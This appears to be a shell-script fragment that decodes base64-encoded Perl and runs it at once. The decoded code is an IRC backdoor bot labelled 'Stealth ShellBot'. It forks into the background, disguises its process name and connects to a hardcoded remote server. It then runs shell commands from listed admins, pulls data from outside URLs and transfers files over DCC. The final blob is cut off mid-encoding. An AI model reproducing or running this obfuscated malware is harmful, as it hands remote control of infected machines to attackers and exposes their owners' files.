ICRieXRlczsKICAgICAgICAgICREQ0N7JHNlbmR9e2N1cmJ5dGV9ID0gMDsKICAgICAgICAgICREQ0N7JHNlbmR9e2FycXVpdm99ID0gJGFycXVpdm87CiAgICAgICAgICAkRENDeyRzZW5kfXtpcH0gPSAkc2VuZC0+cGVlcmhvc3Q7CiAgICAgICAgICAkRENDeyRzZW5kfXtwb3J0YX0gPSAkc2VuZC0+cGVlcnBvcnQ7CiAgICAgICAgICAkRENDeyRzZW5kfXtzdGF0dXN9ID0gIkVudmlhbmRvIjsKCiAgICAgICAgICAjZGUgY2FyYSBtYW5kYSBvcyBwcmltZWlybyAxMDI0IGJ5dGVzIGRvIGFya2l2by4uIG8gcmVzdG8gZmlrIGNvbSBvIHNlbmRjb24KICAgICAgICAgIG9wZW4oRklMRSwgIjwgJGFycXVpdm8iKTsKICAgICAgICAgIG15ICRmYnl0ZXM7CiAgICAgICAgICByZWFkKEZJTEUsICRmYnl0ZXMsIDEwMjQpOwogICAgICAgICAgcHJpbnQgJHNlbmQgIiRmYnl0ZXMiOwogICAgICAgICAgY2xvc2UgRklMRTsKIyAgICAgICAgICBkZWxldGUoJERDQ3skZmh9KTsKICAgICB9IGVsc2lmICgkZGNjdGlwbyBlcSAnc2VuZGNvbicpIHsKICAgICAgICAgIG15ICRieXRlc19zZW5kZWQgPSB1bnBhY2soIk4iLCAkbXNnKTsKICAgICAgICAgICREQ0N7JGZofXtjdXJieXRlfSA9ICRieXRlc19zZW5kZWQ7CiAgICAgICAgICBpZiAoJGJ5dGVzX3NlbmRlZCA9PSAkYnl0ZXMpIHsKICAgICAgICAgICAgICRmaC0+Y2xvc2U7CiAgICAgICAgICAgICAkZGNjX3NlbC0+cmVtb3ZlKCRmaCk7CiAgICAgICAgICAgICAkRENDeyRmaH17c3RhdHVzfSA9ICJFbnZpYWRvIjsKICAgICAgICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOwogICAgICAgICAgICAgbmV4dDsKICAgICAgICAgIH0KICAgICAgICAgIG9wZW4oU0VOREZJTEUsICI8ICRhcnF1aXZvIik7CiAgICAgICAgICBzZWVrKFNFTkRGSUxFLCAkYnl0ZXNfc2VuZGVkLCAwKTsKICAgICAgICAgIG15ICRzZW5kX2J5dGVzOwogICAgICAgICAgcmVhZChTRU5ERklMRSwgJHNlbmRfYnl0ZXMsIDEwMjQpOwogICAgICAgICAgcHJpbnQgJGZoICIkc2VuZF9ieXRlcyI7CiAgICAgICAgICBjbG9zZShTRU5ERklMRSk7CiAgICAgfQogICB9Cn0KCgpzdWIgU0VORCB7CiAgbXkgKCRuaWNrLCAkYXJxdWl2bykgPSBAXzsKICB1bmxlc3MgKC1yICIkYXJxdWl2byIpIHsKICAgIHJldHVybigwKTsKICB9CgogIG15ICRkY2NhcmsgPSAkYXJxdWl2bzsKICAkZGNjYXJrID1+IHMvWy4qXC9dKFxTKykvJDEvOwoKICBteSAkbWV1aXAgPSAkOjppcmNfc2VydmVyc3siJDo6SVJDX2N1cl9zb2NrZXQifXsnbWV1aXAnfTsKICBteSAkbG9uZ2lwID0gdW5wYWNrKCJOIixpbmV0X2F0b24oJG1ldWlwKSk7CgogIG15IEBmaWxlc3RhdCA9IHN0YXQoJGFycXVpdm8pOwogIG15ICRzaXplX3RvdGFsPSRmaWxlc3RhdFs3XTsKICBpZiAoJHNpemVfdG90YWwgPT0gMCkgewogICAgIHJldHVybigwKTsKICB9CgogIG15ICgkcG9ydGEsICRzZW5kc29jayk7CiAgZG8gewogICAgc2xlZXAgMTsKICAgICRwb3J0YSA9IGludCByYW5kKDY0NTExKTsKICAgICRwb3J0YSArPSAxMDI0OwogICAgJHNlbmRzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KExpc3Rlbj0+MSwgTG9jYWxQb3J0ID0+JHBvcnRhLCBQcm90byA9PiAndGNwJykgYW5kICRkY2Nfc2VsLT5hZGQoJHNlbmRzb2NrKTsKICB9IHVudGlsICRzZW5kc29jazsKCiAgJERDQ3skc2VuZHNvY2t9e3RpcG99ID0gJ3NlbmQnOwogICREQ0N7JHNlbmRzb2NrfXtuaWNrfSA9ICRuaWNrOwogICREQ0N7JHNlbmRzb2NrfXtieXRlc30gPSAkc2l6ZV90b3RhbDsKICAkRENDeyRzZW5kc29ja317YXJxdWl2b30gPSAkYXJxdWl2bzsKCgogICY6OmN0Y3AoIiRuaWNrIiwgIkRDQyBTRU5EICRkY2NhcmsgJGxvbmdpcCAkcG9ydGEgJHNpemVfdG90YWwiKTsKCn0KCnN1YiBHRVQgewogIG15ICgkYXJxdWl2bywgJGRjY2xvbmdpcCwgJGRjY3BvcnRhLCAkYnl0ZXMsICRuaWNrKSA9IEBfOwogIHJldHVybigwKSBpZiAoLWUgIiRhcnF1aXZvIik7CiAgaWYgKG9wZW4oRklMRSwgIj4gJGFycXVpdm8iKSkgewogICAgIGNsb3NlIEZJTEU7CiAgfSBlbHNlIHsKICAgIHJldHVybigwKTsKICB9CgogIG15ICRkY2NpcD1maXhhZGRyKCRkY2Nsb25naXApOwogIHJldHVybigwKSBpZiAoJGRjY3BvcnRhIDwgMTAyNCBvciBub3QgZGVmaW5lZCAkZGNjaXAgb3IgJGJ5dGVzIDwgMSk7CiAgbXkgJGRjY3NvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PiJ0Y3AiLCBQZWVyQWRkcj0+JGRjY2lwLCBQZWVyUG9ydD0+JGRjY3BvcnRhLCBUaW1lb3V0PT4xNSkgb3IgcmV0dXJuICgwKTsKICAkZGNjc29jay0+YXV0b2ZsdXNoKDEpOwogICRkY2Nfc2VsLT5hZGQoJGRjY3NvY2spOwogICREQ0N7JGRjY3NvY2t9e3RpcG99ID0gJ2dldCc7CiAgJERDQ3skZGNjc29ja317aXRpbWV9ID0gdGltZTsKICAkRENDeyRkY2Nzb2NrfXtuaWNrfSA9ICRuaWNrOwogICREQ0N7JGRjY3NvY2t9e2J5dGVzfSA9ICRieXRlczsKICAkRENDeyRkY2Nzb2NrfXtjdXJieXRlfSA9IDA7CiAgJERDQ3skZGNjc29ja317YXJxdWl2b30gPSAkYXJxdWl2bzsKICAkRENDeyRkY2Nzb2NrfXtpcH0gPSAkZGNjaXA7CiAgJERDQ3skZGNjc29ja317cG9ydGF9ID0gJGRjY3BvcnRhOwogICREQ0N7JGRjY3NvY2t9e3N0YXR1c30gPSAiUmVjZWJlbmRvIjsKfQoKIyBwbyBmaWNvIHhhdG8gZGUgb3JnYW5pemEgbyBzdGF0dXMuLiBkYWkgZml6IGVsZSByZXRvcm5hIG8gc3RhdHVzIGRlIGFjb3JkbyBjb20gbyBzb2NrZXQuLiBkYWkgbyBBRE0ucGwgbGlzdGEgb3Mgc29ja2V0cyBlIGZheiBhcyBwZXJndW50YXMKc3ViIFN0YXR1cyB7CiAgc2xlZXAgMTsKICBteSAkc29ja2V0ID0gc2hpZnQ7CiAgbXkgJHNvY2tfdGlwbyA9ICREQ0N7JHNvY2tldH17dGlwb307CiAgdW5sZXNzIChsYygkc29ja190aXBvKSBlcSAiY2hhdCIpIHsKICAgIG15ICRuaWNrID0gJERDQ3skc29ja2V0fXtuaWNrfTsKICAgIG15ICRhcnF1aXZvID0gJERDQ3skc29ja2V0fXthcnF1aXZvfTsKICAgIG15ICRpdGltZSA9ICREQ0N7JHNvY2tldH17aXRpbWV9OwogICAgbXkgJGZ0aW1lID0gdGltZTsKICAgIG15ICRzdGF0dXMgPSAkRENDeyRzb2NrZXR9e3N0YXR1c307CiAgICAkZnRpbWUgPSAkRENDeyRzb2NrZXR9e2Z0aW1lfSBpZiBkZWZpbmVkKCREQ0N7JHNvY2tldH17ZnRpbWV9KTsKCiAgICBteSAkZF90aW1lID0gJGZ0aW1lLSRpdGltZTsKCiAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRzb2NrZXR9e2N1cmJ5dGV9OwogICAgbXkgJGJ5dGVzX3RvdGFsID0gICREQ0N7JHNvY2tldH17Ynl0ZXN9OwoKICAgIG15ICRyYXRlID0gMDsKICAgICRyYXRlID0gKCRjdXJfYnl0ZS8xMDI0KS8kZF90aW1lIGlmICRjdXJfYnl0ZSA+IDA7CiAgICBteSAkcG9yY2VuID0gKCRjdXJfYnl0ZSoxMDApLyRieXRlc190b3RhbDsKCiAgICBteSAoJHJfZHV2LCAkcF9kdXYpOwogICAgaWYgKCRyYXRlID1+IC9eKFxkKylcLihcZCkoXGQpKFxkKS8pIHsKICAgICAgICRyX2R1diA9ICQzOyAkcl9kdXYrKyBpZiAkNCA+PSA1OwogICAgICAgJHJhdGUgPSAiJDFcLiQyIi4iJHJfZHV2IjsKICAgIH0KICAgIGlmICgkcG9yY2VuID1+IC9eKFxkKylcLihcZCkoXGQpKFxkKS8pIHsKICAgICAgICRwX2R1diA9ICQzOyAkcF9kdXYrKyBpZiAkNCA+PSA1OwogICAgICAgJHBvcmNlbiA9ICIkMVwuJDIiLiIkcF9kdXYiOwogICAgfQogICAgcmV0dXJuKCIkc29ja190aXBvIiwiJHN0YXR1cyIsIiRuaWNrIiwiJGFycXVpdm8iLCIkYnl0ZXNfdG90YWwiLCAiJGN1cl9ieXRlIiwiJGRfdGltZSIsICIkcmF0ZSIsICIkcG9yY2VuIik7CiAgfQoKCiAgcmV0dXJuKDApOwp9CgoKIyBlc3NlICdzdWIgZml4YWRkcicgZGFraSBmb2kgcGVnbyBkbyBORVQ6OklSQzo6RENDIGlkZW50aWNvIHNvaCBjb3BpZWkgZSBjb2xvZWkgKGNvbG9rYXIgbm9tZSBkbyBhdXRvcikKc3ViIGZpeGFkZHIgewogIHNsZWVwIDE7CiAgICBteSAoJGFkZHJlc3MpID0gQF87CgogICAgY2hvbXAgJGFkZHJlc3M7ICAgICAjIGp1c3QgaW4gY2FzZSwgc2lnaC4KICAgIGlmICgkYWRkcmVzcyA9fiAvXlxkKyQvKSB7CiAgICAgICAgcmV0dXJuIGluZXRfbnRvYShwYWNrICJOIiwgJGFkZHJlc3MpOwogICAgfSBlbHNpZiAoJGFkZHJlc3MgPX4gL15bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn0kLykgewogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0gZWxzaWYgKCRhZGRyZXNzID1+IHRyL2EtekEtWi8vKSB7ICAgICAgICAgICAgICAgICAgICAjIFdoZWUhIE9iZnVzY2F0aW9uIQogICAgICAgIHJldHVybiBpbmV0X250b2EoKChnZXRob3N0YnluYW1lKCRhZGRyZXNzKSlbNF0pWzBdKTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuOwogICAgfQp9Cg==" | base64 --decode | perl

echo "IyEvdXNyL2Jpbi9wZXJsCiMjIyMjIyMjIyMgQ09ORklHVVJBQ0FPICMjIyMjIyMjIyMjIwpteSAkcHJvY2Vzc28gPSAnZWRhYzAnOwoKJHNlcnZpZG9yPScxNzkuNDMuMTM5LjgzJyB1bmxlc3MgJHNlcnZpZG9yOwpteSAkcG9ydGE9JzQ0Myc7Cm15IEBjYW5haXM9KCIjMDAxIik7Cm15IEBhZG1zPSgibW9sbHkiLCJwb2xseSIpOwpteSBAYXV0aD0oImxvY2FsaG9zdCIpOwoKIyBBbnRpIEZsb29kICggNi8zIFJlY29tZW5kYWRvICkKbXkgJGxpbmFzX21heD01OwpteSAkc2xlZXA9NTsKCm15ICRuaWNrID0gZ2V0bmljaygpOwpteSAkaXJjbmFtZSA9IGdldG5pY2soKTsKbXkgJHJlYWxuYW1lID0gKGB1bmFtZSAtYWApOwoKbXkgJGFjZXNzb3NoZWxsID0gMTsKIyMjIyMjIyMgU3RlYWx0aCBTaGVsbEJvdCAjIyMjIyMjIyMjCm15ICRwcmVmaXhvID0gIiEgIjsKbXkgJGVzdGF0aXN0aWNhcyA9IDA7Cm15ICRwYWNvdGVzID0gMTsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpteSAkVkVSU0FPID0gJzAuMmEnOwoKJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsKJFNJR3snSFVQJ30gPSAnSUdOT1JFJzsKJFNJR3snVEVSTSd9ID0gJ0lHTk9SRSc7CiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOwokU0lHeydQUyd9ID0gJ0lHTk9SRSc7Cgp1c2UgSU86OlNvY2tldDsKdXNlIFNvY2tldDsKdXNlIElPOjpTZWxlY3Q7CmNoZGlyKCJ+IHx8IC90bXAvIik7CiRzZXJ2aWRvcj0iJEFSR1ZbMF0iIGlmICRBUkdWWzBdOwokMD0iJHByb2Nlc3NvIi4iXDAiOwpteSAkcGlkPWZvcms7CmV4aXQgaWYgJHBpZDsKZGllICJQcm9ibGVtYSBjb20gbyBmb3JrOiAkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7CgpteSAlaXJjX3NlcnZlcnM7Cm15ICVEQ0M7Cm15ICRkY2Nfc2VsID0gbmV3IElPOjpTZWxlY3QtPm5ldygpOwoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgU3RlYWx0aCBTaGVsbGJvdCAgIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMKCgoKc3ViIGdldG5pY2sgewogICNteSAkcmV0b3Jub25pY2sgPSAmX2dldCgiaHR0cDovL3dlYnN1cnZleS5idXJzdG1lZGlhLmNvbS9uYW1lcy50eHQiKTsKICAjcmV0dXJuICRyZXRvcm5vbmljazsKICByZXR1cm4gIngiLmludChyYW5kKDkwMDApKS5pbnQocmFuZCg5MDAwKSk7Cn0KCgpzdWIgZ2V0aWRlbnQgewogIG15ICRyZXRvcm5vaWRlbnQgPSAmX2dldCgiaHR0cDovL3d3dy5taW5wb3AuY29tL3NrMTJwYWNrL2lkZW50cy5waHAiKTsKICBteSAkaWRlbnRjaGFuY2UgPSBpbnQocmFuZCg5OTAwMCkpOwogIGlmICgkaWRlbnRjaGFuY2UgPiAzMCkgewogICAgIHJldHVybiAkbmljazsKICB9IGVsc2UgewogICAgIHJldHVybiAkcmV0b3Jub2lkZW50OwogIH0KICByZXR1cm4gJHJldG9ybm9pZGVudDsKfQoKc3ViIGdldG5hbWUgewogIG15ICRyZXRvcm5vbmFtZSA9ICZfZ2V0KCJodHRwOi8vd3d3Lm1pbnBvcC5jb20vc2sxMnBhY2svbmFtZXMucGhwIik7CiAgcmV0dXJuICRyZXRvcm5vbmFtZTsKfQoKIyBJREVOVCBURU1QT1JBUklBIC0gUGVnYXIgaWRlbnQgZGEgdXJsIHRhIGJ1Z2FuZG8gb19vCnN1YiBnZXRpZGVudDIgewogICAgICAgIG15ICRsZW5ndGg9c2hpZnQ7CiAgICAgICAgJGxlbmd0aCA9IDMgaWYgKCRsZW5ndGggPCAzKTsKCiAgICAgICAgbXkgQGNoYXJzPSgnYScuLid6JywnQScuLidaJywnMScuLic5Jyk7CiAgICAgICAgZm9yZWFjaCAoMS4uJGxlbmd0aCkKICAgICAgICB7CiAgICAgICAgICAgICAgICAkcmFuZG9tc3RyaW5nLj0kY2hhcnNbcmFuZCBAY2hhcnNdOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJhbmRvbXN0cmluZzsKfQoKc3ViIGdldHN0b3JlICgkJCkKewogIG15ICR1cmwgPSBzaGlmdDsKICBteSAkZmlsZSA9IHNoaWZ0OwoKICAkaHR0cF9zdHJlYW1fb3V0ID0gMTsKICBvcGVuKEdFVF9PVVRGSUxFLCAiPiAkZmlsZSIpOwogICVodHRwX2xvb3BfY2hlY2sgPSAoKTsKICBfZ2V0KCR1cmwpOwogIGNsb3NlIEdFVF9PVVRGSUxFOwogIHJldHVybiAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0Owp9CgpzdWIgX2dldAp7CiAgc2xlZXAgMTsKICBteSAkdXJsID0gc2hpZnQ7CiAgbXkgJHByb3h5ID0gIiI7CiAgZ3JlcCB7KGxjKCRfKSBlcSAiaHR0cF9wcm94eSIpICYmICgkcHJveHkgPSAkRU5WeyRffSl9IGtleXMgJUVOVjsKICBpZiAoKCRwcm94eSBlcSAiIikgJiYgJHVybCA9fiBtLF5odHRwOi8vKFteLzpdKykoPzo6KFxkKykpPygvXFMqKT8kLCkgewogICAgbXkgJGhvc3QgPSAkMTsKICAgIG15ICRwb3J0ID0gJDIgfHwgODA7CiAgICBteSAkcGF0aCA9ICQzOwogICAgJHBhdGggPSAiLyIgdW5sZXNzIGRlZmluZWQoJHBhdGgpOwogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOwogIH0gZWxzaWYgKCRwcm94eSA9fiBtLF5odHRwOi8vKFteLzpdKyk6KFxkKykoL1xTKik/JCwpIHsKICAgIG15ICRob3N0ID0gJDE7CiAgICBteSAkcG9ydCA9ICQyOwogICAgbXkgJHBhdGggPSAkdXJsOwogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOwogIH0gZWxzZSB7CiAgICByZXR1cm4gdW5kZWY7CiAgfQp9CgoKc3ViIF90cml2aWFsX2h0dHBfZ2V0CnsKICBzbGVlcCAxOwogIG15KCRob3N0LCAkcG9ydCwgJHBhdGgpID0gQF87CiAgbXkoJEFHRU5ULCAkVkVSU0lPTiwgJHApOwogICNwcmludCAiSE9TVD0kaG9zdCwgUE9SVD0kcG9ydCwgUEFUSD0kcGF0aFxuIjsKCiAgJEFHRU5UID0gImdldC1taW5pbWFsIjsKICAkVkVSU0lPTiA9ICIyMDAwMDExOCI7CgogICRwYXRoID1+IHMvIC8lMjAvZzsKCiAgcmVxdWlyZSBJTzo6U29ja2V0OwogIGxvY2FsKCReVykgPSAwOwogIG15ICRzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICRob3N0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBlZXJQb3J0ID0+ICRwb3J0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFByb3RvICAgPT4gJ3RjcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCAgPT4gNjApIHx8IHJldHVybjsKICAkc29jay0+YXV0b2ZsdXNoOwogIG15ICRuZXRsb2MgPSAkaG9zdDsKICAkbmV0bG9jIC49ICI6JHBvcnQiIGlmICRwb3J0ICE9IDgwOwogIG15ICRyZXF1ZXN0ID0gIkdFVCAkcGF0aCBIVFRQLzEuMFwwMTVcMDEyIgogICAgICAgICAgICAgIC4gIkhvc3Q6ICRuZXRsb2NcMDE1XDAxMiIKICAgICAgICAgICAgICAuICJVc2VyLUFnZW50OiAkQUdFTlQvJFZFUlNJT04vdVwwMTVcMDEyIjsKICAkcmVxdWVzdCAuPSAiUHJhZ21hOiBuby1jYWNoZVwwMTVcMDEyIiBpZiAoJG1haW46Omh0dHBfbm9fY2FjaGUpOwogICRyZXF1ZXN0IC49ICJcMDE1XDAxMiI7CiAgcHJpbnQgJHNvY2sgJHJlcXVlc3Q7CgogIG15ICRidWYgPSAiIjsKICBteSAkbjsKICBteSAkYjEgPSAiIjsKICB3aGlsZSAoJG4gPSBzeXNyZWFkKCRzb2NrLCAkYnVmLCA4KjEwMjQsIGxlbmd0aCgkYnVmKSkpIHsKICAgIGlmICgkYjEgZXEgIiIpIHsgIyBmaXJzdCBibG9jaz8KICAgICAgJGIxID0gJGJ1ZjsgICAgICAgICAjIFNhdmUgdGhpcyBmb3IgZXJyb3Jjb2RlIHBhcnNpbmcKICAgICAgJGJ1ZiA9fiBzLy4rP1wwMTU/XDAxMlwwMTU/XDAxMi8vczsgICAgICAjIHphcCBoZWFkZXIKICAgIH0KICAgIGlmICgkaHR0cF9zdHJlYW1fb3V0KSB7IHByaW50IEdFVF9PVVRGSUxFICRidWY7ICRidWYgPSAiIjsgfQogIH0KICByZXR1cm4gdW5kZWYgdW5sZXNzIGRlZmluZWQoJG4pOwoKICAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID0gMjAwOwogIGlmICgkYjEgPX4gbSxeSFRUUC9cZCtcLlxkK1xzKyhcZCspW15cMDEyXSpcMDEyLCkgewogICAgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9ICQxOwogICAgIyBwcmludCAiQ09ERT0kbWFpbjo6aHR0cF9nZXRfcmVzdWx0XG4kYjFcbiI7CiAgICBpZiAoJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9fiAvXjMwWzEyMzddLyAmJiAkYjEgPX4gL1wwMTJMb2NhdGlvbjpccyooXFMrKS8KKSB7CiAgICAgICMgcmVkaXJlY3QKICAgICAgbXkgJHVybCA9ICQxOwogICAgICByZXR1cm4gdW5kZWYgaWYgJGh0dHBfbG9vcF9jaGVja3skdXJsfSsrOwogICAgICByZXR1cm4gX2dldCgkdXJsKTsKICAgIH0KICAgIHJldHVybiB1bmRlZiB1bmxlc3MgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9fiAvXjIvOwogIH0KCiAgcmV0dXJuICRidWY7Cn0KCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgIEIwdGNoWiBuYSB2ZWlhIGVoZWhlIDpQICAjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgokc2VsX2NsaWVudGUgPSBJTzo6U2VsZWN0LT5uZXcoKTsKc3ViIHNlbmRyYXcgewogIHNsZWVwIDE7CiAgaWYgKCQjXyA9PSAnMScpIHsKICAgIG15ICRzb2NrZXQgPSAkX1swXTsKICAgIHByaW50ICRzb2NrZXQgIiRfWzFdXG4iOwogIH0gZWxzZSB7CiAgICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7CiAgfQp9CgpzdWIgY29uZWN0YXIgewogICBzbGVlcCA1OwogICBteSAkbWV1bmljayA9ICRfWzBdOwogICBteSAkc2Vydmlkb3JfY29uID0gJF9bMV07CiAgIG15ICRwb3J0YV9jb24gPSAkX1syXTsKCiAgIG15ICRJUkNfc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT4idGNwIiwgUGVlckFkZHI9PiIkc2Vydmlkb3JfY29uIiwgUGVlclBvcnQ9PiRwb3J0YV9jb24pIG9yIHJldHVybigxKTsKICAgaWYgKGRlZmluZWQoJElSQ19zb2NrZXQpKSB7CiAgICAgJElSQ19jdXJfc29ja2V0ID0gJElSQ19zb2NrZXQ7CgogICAgICRJUkNfc29ja2V0LT5hdXRvZmx1c2goMSk7CiAgICAgJHNlbF9jbGllbnRlLT5hZGQoJElSQ19zb2NrZXQpOwoKICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnaG9zdCd9ID0gIiRzZXJ2aWRvcl9jb24iOwogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydwb3J0YSd9ID0gIiRwb3J0YV9jb24iOwogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmljazsKICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbWV1aXAnfSA9ICRJUkNfc29ja2V0LT5zb2NraG9zdDsKICAgICBuaWNrKCIkbWV1bmljayIpOwogICAgIHNlbmRyYXcoIlVTRVIgJGlyY25hbWUgIi4kSVJDX3NvY2tldC0+c29ja2hvc3QuIiAkc2Vydmlkb3JfY29uIDokcmVhbG5hbWUiKTsKICAgICBzbGVlcCA0OwogICB9Cgp9Cm15ICRsaW5lX3RlbXA7CndoaWxlKCAxICkgewogICBzbGVlcCAxOwogICB3aGlsZSAoIShrZXlzKCVpcmNfc2VydmVycykpKSB7IGNvbmVjdGFyKCIkbmljayIsICIkc2Vydmlkb3IiLCAiJHBvcnRhIik7IH0KICAgc2VsZWN0KHVuZGVmLCB1bmRlZiwgdW5kZWYsIDAuNyk7ICNzbGVlcGluZyBmb3IgYSBmcmFjdGlvbiBvZiBhIHNlY29uZCBrZWVwcyB0aGUgc2NyaXB0IGZyb20gcnVubmluZyB0byAxMDAgY3B1IHVzYWdlCiAgIGRlbGV0ZSgkaXJjX3NlcnZlcnN7Jyd9KSBpZiAoZGVmaW5lZCgkaXJjX3NlcnZlcnN7Jyd9KSk7CiAgICZEQ0M6OmNvbm5lY3Rpb25zOwogICBteSBAcmVhZHkgPSAkc2VsX2NsaWVudGUtPmNhbl9yZWFkKDAuNik7CiAgIG5leHQgdW5sZXNzKEByZWFkeSk7CiAgIGZvcmVhY2ggJGZoIChAcmVhZHkpIHsKICAgICBzbGVlcCAxOwogICAgICRJUkNfY3VyX3NvY2tldCA9ICRmaDsKICAgICAkbWV1bmljayA9ICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ307CiAgICAgJG5yZWFkID0gc3lzcmVhZCgkZmgsICRtc2csIDQwOTYpOwogICAgIGlmICgkbnJlYWQgPT0gMCkgewogICAgICAgICRzZWxfY2xpZW50ZS0+cmVtb3ZlKCRmaCk7CiAgICAgICAgJGZoLT5jbG9zZTsKICAgICAgICBkZWxldGUoJGlyY19zZXJ2ZXJzeyRmaH0pOwogICAgIH0KICAgICBAbGluZXMgPSBzcGxpdCAoL1xuLywgJG1zZyk7CgogICAgIGZvcihteSAkYz0wOyAkYzw9ICQjbGluZXM7ICRjKyspIHsKICAgICAgIHNsZWVwIDE7CiAgICAgICAkbGluZSA9ICRsaW5lc1skY107CiAgICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlmICgkbGluZV90ZW1wKTsKICAgICAgICRsaW5lX3RlbXA9Jyc7CiAgICAgICAkbGluZSA9fiBzL1xyJC8vOwogICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7CiAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgfSBlbHNlIHsKICAgICAgICAgICBpZiAoJCNsaW5lcyA9PSAwKSB7CiAgICAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsKICAgICAgICAgICB9IGVsc2lmICgkbGluZXNbJGNdID1+IC9cciQvKSB7CiAgICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgICAgIH0gZWxzaWYgKCRsaW5lID1+IC9eKFxTKykgTk9USUNFIEFVVEggOlwqXCpcKi8pIHsKICAgICAgICAgICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgJGxpbmVfdGVtcCA9ICRsaW5lOwogICAgICAgICAgIH0KICAgICAgIH0KICAgICAgfQogICB9Cn0KCnN1YiBwYXJzZSB7CiAgc2xlZXAgMTsKICAgbXkgJHNlcnZhcmcgPSBzaGlmdDsKICAgaWYgKCRzZXJ2YXJnID1+IC9eUElORyBcOiguKikvKSB7CiAgICAgc2VuZHJhdygiUE9ORyA6JDEiKTsKICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJVk1TRyAoLis/KSBcOiguKykvKSB7CiAgICAgc2xlZXAgMTsKICAgICAgIG15ICRwbj0kMTsgbXkgJG9uZGUgPSAkNDsgbXkgJGFyZ3MgPSAkNTsKICAgICAgIGlmICgkYXJncyA9fiAvXlwwMDFWRVJTSU9OXDAwMSQvKSB7CiAgICAgICAgIG5vdGljZSgiJHBuIiwgIlwwMDFWRVJTSU9OIG1JUkMgdjYuMTYgRU5FIEFMSU4gR0FCUklFTFwwMDEiKTsKICAgICAgIH0KICAgICAgIGVsc2lmICgkYXJncyA9fiAvXlwwMDFQSU5HXHMrKFxkKylcMDAxJC8pIHsKICAgICAgICAgbm90aWNlKCIkcG4iLCAiXDAwMVBPTkdcMDAxIik7CiAgICAgICB9CiAgICAgICBlbHNpZiAoZ3JlcCB7JF8gPX4gL15cUSRwblxFJC9pIH0gQGFkbXMpIHsKICAgICAgICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpewogICAgICAgICAgIHNoZWxsKCIkcG4iLCAiJGFyZ3MiKTsKICAgICAgICAgICB9CiAgICAgICAgIGVsc2lmICgkYXJncyA9fiAvXihcUSRtZXVuaWNrXEV8XFEkcHJlZml4b1xFKVxzKyguKikvICkgewogICAgICAgICAgICBteSAkbmF0cml4ID0gJDE7CiAgICAgICAgICAgIG15ICRhcmcgPSAkMjsKICAgICAgICAgICAgaWYgKCRhcmcgPX4gL15cISguKikvKSB7CiAgICAgICAgICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIikgdW5sZXNzICgkbmF0cml4IGVxICIkcHJlZml4byIgYW5kICRhcmcgPX4gL15cIW5pY2svKTsKICAgICAgICAgICAgfSBlbHNpZiAoJGFyZyA9fiAvXlxAKC4qKS8pIHsKICAgICAgICAgICAgICAgICRvbmRlcCA9ICRvbmRlOwogICAgICAgICAgICAgICAgJG9uZGVwID0gJHBuIGlmICRvbmRlIGVxICRtZXVuaWNrOwogICAgICAgICAgICAgICAgYmZ1bmMoIiRvbmRlcCIsIiQxIik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBzaGVsbCgiJG9uZGUiLCAiJGFyZyIpOwogICAgICAgICAgICB9CiAgICAgICAgIH0KICAgICAgIH0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7CiAgICAgICBpZiAobGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgewogICAgICAgICAkbWV1bmljaz0kNDsKICAgICAgICAgJGlyY